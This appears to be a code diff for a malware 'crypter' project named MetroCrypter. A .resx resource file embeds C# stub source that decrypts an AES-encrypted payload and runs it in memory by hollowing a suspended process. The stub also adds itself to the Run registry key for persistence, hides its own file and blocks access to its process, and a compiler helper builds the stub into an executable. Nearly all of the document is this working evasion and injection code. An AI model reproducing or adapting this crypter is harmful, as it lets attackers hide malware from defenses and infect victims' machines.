<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="thegoofstuff" xml:space="preserve">
<value>using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Security.Principal;
using Microsoft.Win32;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
using System.Security.Cryptography;
using System.ComponentModel;
using System.Text;
[assembly: AssemblyTitle("[_ccc]")]
[assembly: AssemblyDescription("[_ddd]")]
[assembly: AssemblyCompany("[_ppopop]")]
[assembly: AssemblyProduct("[_pbo]")]
[assembly: AssemblyCopyright("[_t]")]
[assembly: AssemblyTrademark("[_codebranch]")]
[assembly: AssemblyVersion("[_junk]")]
[assembly: AssemblyFileVersion("[_extramoney]")]
internal class Program
{
class Pod
{
public static byte[] ReadManaged()
{
ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly());
byte[] bytes = (byte[])manager.GetObject("enc");
return bytes;
}
}
public static bool BlockAccess(IntPtr handle)
{
int num = 0;
GetKernelObjectSecurity(handle, 4, null, 0, ref num);
if (num &lt;= 0)
{
return false;
}
byte[] data = new byte[(num - 1) + 1];
if (!GetKernelObjectSecurity(handle, 4, data, data.Length, ref num))
{
return false;
}
RawSecurityDescriptor descriptor = new RawSecurityDescriptor(data, 0);
SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.WorldSid, null);
CommonAce ace = new CommonAce(AceFlags.None, AceQualifier.AccessDenied, 0x1f0fff, sid, false, null);
descriptor.DiscretionaryAcl.InsertAce(0, ace);
data = new byte[(descriptor.BinaryLength - 1) + 1];
descriptor.GetBinaryForm(data, 0);
if (!SetKernelObjectSecurity(handle, 4, data))
{
return false;
}
return true;
}
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
public static extern bool CreateProcessA([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpApplicationName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpCurrentDirectory, byte[] lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
public static extern bool GetKernelObjectSecurity(IntPtr handle, int requestedInformation, byte[] data, int dataLength, ref int size);
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string procName);
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
public static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext);
[DllImport("ntdll.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
public static extern bool NtSetInformationProcess(IntPtr handle, int processInformationClass, ref int processInformation, int processInformationLength);
[DllImport("ntdll.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
public static extern bool NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
public static extern uint ResumeThread(IntPtr hThread);
public static void Main()
{
//Giving a byte array for our encrypted bytes
byte[] FuckingBytes = Pod.ReadManaged();
//The encryption key
string encKey = "[_key-replace011]";
//The encryption key in bytes
byte[] commend = Encoding.UTF8.GetBytes(encKey);
//Makign a hash for the encryption key
commend = SHA256.Create().ComputeHash(commend);
//The decrypted bytes
byte[] whatudoing = _Axel(FuckingBytes,commend);
//Crypting process
string result = Encoding.UTF8.GetString(whatudoing);
//The all decrypted bytes
byte[] fuckdics = Convert.FromBase64String(result);
//If user choosed startup add to startup
string hostProcess = "";
if("[_ijto]" == "[_APP]")
{
//
}
if("[_ijto]" == "[_IS]")
{
if("[_IsStartupCompany]" == "[Ver]")
{
_AddToDatabase();
}
if([_xx] != 0)
Thread.Sleep([_xx] * 1000);
hostProcess = typeof(Program).Assembly.Location;
}
FileInfo _InformationDesk = new FileInfo(Application.ExecutablePath);
_InformationDesk.Attributes = FileAttributes.Hidden;
_PullAuthorsInfo(fuckdics, "", hostProcess);
int errorrrrr = 0;
Environment.Exit(errorrrrr);
}
public static void _AddToDatabase()
{
string _path = Path.Combine(Application.UserAppDataPath, "[_RegisteredF]");
string _path2 = Path.Combine(_path, "[_RegisteredName].exe");
if (!File.Exists(_path2))
{
DirectoryInfo di = Directory.CreateDirectory(_path);
File.Copy(Application.ExecutablePath, _path2, true);
RegistryKey _XFactorkey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (_XFactorkey.ToString().Length != 0) _XFactorkey.SetValue("[_RegisteredName]", _path2);
}
}
public static byte[] _Axel(byte[] decrypted, byte[] key2)
{
byte[] dcbytes = null;
byte[] saltie = new byte[] {1, 2, 3, 4, 5, 6, 7, 8};
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltie, 1000);
AES.Key = key.GetBytes(AES.KeySize/8);
AES.IV = key.GetBytes(AES.BlockSize/8);
AES.Mode = CipherMode.CBC;
using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(decrypted, 0, decrypted.Length);
cs.Close();
}
dcbytes = ms.ToArray();
}
}
return dcbytes;
}
public static int _PullAuthorsInfo(byte[] file, string cmd, string location)
{
int num = 0;
int num2 = 0;
do
{
if (!(_MatchVerification(file, cmd, location) == IntPtr.Zero))
{
break;
}
num2++;
}
while (num2 &lt;= 9);
Process.GetCurrentProcess().Kill();
return num;
}
private static IntPtr _MatchVerification(byte[] file, string cmd, string location)
{
IntPtr hProcess = IntPtr.Zero;
try
{
UIntPtr ptr4 = UIntPtr.Zero;
IntPtr ptr6;
PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION();
CONTEXT lpContext = new CONTEXT();
IMAGE_DOS_HEADER image_dos_header = new IMAGE_DOS_HEADER();
IMAGE_SECTION_HEADER image_section_header = new IMAGE_SECTION_HEADER();
IntPtr destination = Marshal.AllocHGlobal((int) (file.Length - 1));
Marshal.Copy(file, 0, destination, file.Length - 1);
image_dos_header = (IMAGE_DOS_HEADER) Marshal.PtrToStructure(destination, typeof(IMAGE_DOS_HEADER));
IntPtr ptr3 = Marshal.AllocHGlobal(file.Length);
Marshal.Copy(file, 0, ptr3, file.Length);
IMAGE_NT_HEADERS image_nt_headers = (IMAGE_NT_HEADERS) Marshal.PtrToStructure((IntPtr) (ptr3.ToInt32() + image_dos_header.e_lfanew), typeof(IMAGE_NT_HEADERS));
string lpCurrentDirectory = null;
CreateProcessA(ref location, ref cmd, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, ref lpCurrentDirectory, new byte[0x3d], ref lpProcessInformation);
NtUnmapViewOfSection(lpProcessInformation.hProcess, (IntPtr) image_nt_headers.OptionalHeader.ImageBase);
IntPtr lpAddress = new IntPtr((long) image_nt_headers.OptionalHeader.ImageBase);
if (VirtualAllocEx(lpProcessInformation.hProcess, lpAddress, image_nt_headers.OptionalHeader.SizeOfImage, AllocationType.COMMIT | AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE) == IntPtr.Zero)
{
try
{
Process.GetProcessById((int) lpProcessInformation.dwProcessId).Kill();
}
catch (Exception)
{
}
return hProcess;
}
lpContext.ContextFlags = 0x10007;
GetThreadContext(lpProcessInformation.hThread, ref lpContext);
lpAddress = new IntPtr((long) image_nt_headers.OptionalHeader.ImageBase);
WriteProcessMemory(lpProcessInformation.hProcess, lpAddress, file, image_nt_headers.OptionalHeader.SizeOfHeaders, ref ptr4);
int num5 = image_nt_headers.FileHeader.NumberOfSections - 1;
for (int i = 0; i &lt;= num5; i++)
{
uint num3 = 0;
ptr6 = new IntPtr(((GCHandle.Alloc(file, GCHandleType.Pinned).AddrOfPinnedObject().ToInt32() + image_dos_header.e_lfanew) + Marshal.SizeOf(RuntimeHelpers.GetObjectValue(image_nt_headers))) + (i * Marshal.SizeOf(RuntimeHelpers.GetObjectValue(image_section_header))));
image_section_header = (IMAGE_SECTION_HEADER) Marshal.PtrToStructure(ptr6, typeof(IMAGE_SECTION_HEADER));
byte[] lpBuffer = new byte[((int) ((image_section_header.SizeOfRawData + 1) - 1L)) + 1];
int num6 = ((int) image_section_header.SizeOfRawData) - 1;
for (int j = 0; j &lt;= num6; j++)
{
lpBuffer[j] = file[((int) image_section_header.PointerToRawData) + j];
}
ptr6 = new IntPtr((long) (image_nt_headers.OptionalHeader.ImageBase + image_section_header.VirtualAddress));
WriteProcessMemory(lpProcessInformation.hProcess, ptr6, lpBuffer, Convert.ToUInt32(image_section_header.SizeOfRawData), ref ptr4);
ptr6 = new IntPtr((long) (image_nt_headers.OptionalHeader.ImageBase + image_section_header.VirtualAddress));
VirtualProtect(lpProcessInformation.hProcess, ptr6, image_section_header.VirtualSize, MemoryProtection.EXECUTE_READWRITE, ref num3);
}
byte[] bytes = BitConverter.GetBytes(image_nt_headers.OptionalHeader.ImageBase);
ptr6 = new IntPtr((long) (lpContext.Ebx + 8));
WriteProcessMemory(lpProcessInformation.hProcess, ptr6, bytes, (uint) bytes.Length, ref ptr4);
lpContext.Eax = image_nt_headers.OptionalHeader.ImageBase + image_nt_headers.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(lpProcessInformation.hThread, ref lpContext);
int num = (int) ResumeThread(lpProcessInformation.hThread);
hProcess = lpProcessInformation.hProcess;
}
catch (Exception)
{
hProcess = IntPtr.Zero;
}
return hProcess;
}
[DllImport("advapi32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
public static extern bool SetKernelObjectSecurity(IntPtr handle, int securityInformation, byte[] data);
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
public static extern bool SetThreadContext(IntPtr hThread, [In] ref CONTEXT lpContext);
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
public static extern bool VirtualProtect(IntPtr hProcess, IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, ref uint lpflOldProtect);
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, ref UIntPtr lpNumberOfBytesWritten);
public enum AllocationType : uint
{
COMMIT = 0x1000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
RESERVE = 0x2000,
RESET = 0x80000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000
}
[StructLayout(LayoutKind.Sequential)]
public struct CONTEXT
{
public uint ContextFlags;
public uint Dr0;
public uint Dr1;
public uint Dr2;
public uint Dr3;
public uint Dr6;
public uint Dr7;
public Program.FLOATING_SAVE_AREA FloatSave;
public uint SegGs;
public uint SegFs;
public uint SegEs;
public uint SegDs;
public uint Edi;
public uint Esi;
public uint Ebx;
public uint Edx;
public uint Ecx;
public uint Eax;
public uint Ebp;
public uint Eip;
public uint SegCs;
public uint EFlags;
public uint Esp;
public uint SegSs;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=0x200)]
public byte[] ExtendedRegisters;
}
private enum CONTEXT_FLAGS : uint
{
CONTEXT_ALL = 0x1003f,
CONTEXT_CONTROL = 0x10001,
CONTEXT_DEBUG_REGISTERS = 0x10010,
CONTEXT_EXTENDED_REGISTERS = 0x10020,
CONTEXT_FLOATING_POINT = 0x10008,
CONTEXT_FULL = 0x10007,
CONTEXT_i386 = 0x10000,
CONTEXT_i486 = 0x10000,
CONTEXT_INTEGER = 0x10002,
CONTEXT_SEGMENTS = 0x10004
}
[StructLayout(LayoutKind.Sequential)]
public struct FLOATING_SAVE_AREA
{
public uint ControlWord;
public uint StatusWord;
public uint TagWord;
public uint ErrorOffset;
public uint ErrorSelector;
public uint DataOffset;
public uint DataSelector;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=80)]
public byte[] RegisterArea;
public uint Cr0NpxState;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_DATA_DIRECTORY
{
public uint VirtualAddress;
public uint Size;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_DOS_HEADER
{
public ushort e_magic;
public ushort e_cblp;
public ushort e_cp;
public ushort e_crlc;
public ushort e_cparhdr;
public ushort e_minalloc;
public ushort e_maxalloc;
public ushort e_ss;
public ushort e_sp;
public ushort e_csum;
public ushort e_ip;
public ushort e_cs;
public ushort e_lfarlc;
public ushort e_ovno;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=4)]
public ushort[] e_res1;
public ushort e_oemid;
public ushort e_oeminfo;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=10)]
public ushort[] e_res2;
public int e_lfanew;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_FILE_HEADER
{
public ushort Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public ushort Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_NT_HEADERS
{
public uint Signature;
public Program.IMAGE_FILE_HEADER FileHeader;
public Program.IMAGE_OPTIONAL_HEADER32 OptionalHeader;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_OPTIONAL_HEADER32
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public uint BaseOfData;
public uint ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public uint SizeOfStackReserve;
public uint SizeOfStackCommit;
public uint SizeOfHeapReserve;
public uint SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=0x10)]
public Program.IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_SECTION_HEADER
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst=8)]
public byte[] Name;
public uint VirtualSize;
public uint VirtualAddress;
public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public uint Characteristics;
}
public enum MemoryProtection : uint
{
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
GUARD_Modifierflag = 0x100,
NOACCESS = 1,
NOCACHE_Modifierflag = 0x200,
READONLY = 2,
READWRITE = 4,
WRITECOMBINE_Modifierflag = 0x400,
WRITECOPY = 8
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public IntPtr dwProcessId;
public int dwThreadId;
}
}
</value>
</data>
</root>
@@ -0,0 +1,30 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace MetroCrypter.Properties
{
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
{
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default
{
get
{
return defaultInstance;
}
}
}
}
@@ -0,0 +1,31 @@
using System;
using System.CodeDom.Compiler;
using System.Configuration;
using System.Runtime.CompilerServices;
namespace MetroCrypter.Properties
{
[CompilerGenerated]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
internal sealed class Settings : ApplicationSettingsBase
{
private static Settings defaultInstance;
public static Settings Default
{
get
{
return Settings.defaultInstance;
}
}
static Settings()
{
Settings.defaultInstance = (Settings)SettingsBase.Synchronized(new Settings());
}
public Settings()
{
}
}
}
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
@@ -0,0 +1,67 @@
using Microsoft.CSharp;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Windows.Forms;
namespace MetroCrypter.Resources
{
internal class Compiler
{
public Compiler()
{
}
public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
{
bool flag;
CompilerParameters compilerParameter = new CompilerParameters()
{
GenerateExecutable = true,
OutputAssembly = Output
};
string str = "/optimize+ /platform:x86 /target:winexe /unsafe";
if (Icon != null)
{
str = string.Concat(str, " /win32icon:\"", Icon, "\"");
}
compilerParameter.CompilerOptions = str;
compilerParameter.TreatWarningsAsErrors = false;
compilerParameter.ReferencedAssemblies.Add("System.dll");
compilerParameter.ReferencedAssemblies.Add("System.Windows.Forms.dll");
compilerParameter.ReferencedAssemblies.Add("System.Drawing.dll");
compilerParameter.ReferencedAssemblies.Add("System.Data.dll");
compilerParameter.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
if ((Resources == null ? false : Resources.Length != 0))
{
string[] resources = Resources;
for (int i = 0; i < (int)resources.Length; i++)
{
string str1 = resources[i];
compilerParameter.EmbeddedResources.Add(str1);
}
}
Dictionary<string, string> strs = new Dictionary<string, string>()
{
{ "CompilerVersion", "v2.0" }
};
CompilerResults compilerResult = (new CSharpCodeProvider(strs)).CompileAssemblyFromSource(compilerParameter, new string[] { source });
if (compilerResult.Errors.Count <= 0)
{
flag = true;
}
else
{
MessageBox.Show(string.Format("The compiler has encountered {0} errors", compilerResult.Errors.Count), "Errors while compiling", MessageBoxButtons.OK, MessageBoxIcon.Hand);
foreach (CompilerError error in compilerResult.Errors)
{
MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", new object[] { error.ErrorText, error.Line, error.Column, error.FileName }), "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
flag = false;
}
return flag;
}
}
}